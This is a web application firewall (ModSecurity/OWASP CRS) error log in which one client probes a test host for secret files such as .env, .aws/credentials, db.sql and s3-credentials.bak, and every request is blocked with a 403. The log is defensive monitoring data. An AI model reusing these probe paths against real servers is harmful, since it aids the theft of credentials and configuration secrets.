[Tue Aug 05 11:03:45.654629 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVgAAABA&quot;]
[Tue Aug 05 11:03:45.654914 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVgAAABA&quot;]
[Tue Aug 05 11:03:45.655117 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVgAAABA&quot;]
[Tue Aug 05 11:03:45.678739 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVwAAABA&quot;]
[Tue Aug 05 11:03:45.678968 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVwAAABA&quot;]
[Tue Aug 05 11:03:45.679145 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVwAAABA&quot;]
[Tue Aug 05 11:03:45.772095 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYWwAAABA&quot;]
[Tue Aug 05 11:03:45.772328 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYWwAAABA&quot;]
[Tue Aug 05 11:03:45.772508 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYWwAAABA&quot;]
[Tue Aug 05 11:03:45.795183 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /public/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYXAAAABA&quot;]
[Tue Aug 05 11:03:45.795411 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYXAAAABA&quot;]
[Tue Aug 05 11:03:45.795588 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/config&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYXAAAABA&quot;]
[Tue Aug 05 11:03:45.818101 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /public/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYXQAAABA&quot;]
[Tue Aug 05 11:03:45.818316 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYXQAAABA&quot;]
[Tue Aug 05 11:03:45.818515 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.aws/credentials&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYXQAAABA&quot;]
[Tue Aug 05 11:03:46.069744 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYXwAAABA&quot;]
[Tue Aug 05 11:03:46.069973 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYXwAAABA&quot;]
[Tue Aug 05 11:03:46.070184 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYXwAAABA&quot;]
[Tue Aug 05 11:03:46.146808 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYYgAAABA&quot;]
[Tue Aug 05 11:03:46.147125 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYYgAAABA&quot;]
[Tue Aug 05 11:03:46.147308 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/db.sql&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYYgAAABA&quot;]
[Tue Aug 05 11:03:46.315816 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYaQAAABA&quot;]
[Tue Aug 05 11:03:46.316021 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYaQAAABA&quot;]
[Tue Aug 05 11:03:46.316188 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYaQAAABA&quot;]
[Tue Aug 05 11:03:46.407925 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYbQAAABA&quot;]
[Tue Aug 05 11:03:46.408240 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYbQAAABA&quot;]
[Tue Aug 05 11:03:46.408399 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3-credentials.bak&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYbQAAABA&quot;]
[Tue Aug 05 11:03:46.500733 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /s3/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcQAAABA&quot;]
[Tue Aug 05 11:03:46.500918 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcQAAABA&quot;]
[Tue Aug 05 11:03:46.501081 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcQAAABA&quot;]
[Tue Aug 05 11:03:46.523616 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /s3/.aws/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcgAAABA&quot;]
[Tue Aug 05 11:03:46.523809 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/config.json&quot;] [unique_id &quot;aJHI8lgw4HLFH7L0P7lYcgAAABA&quot;]
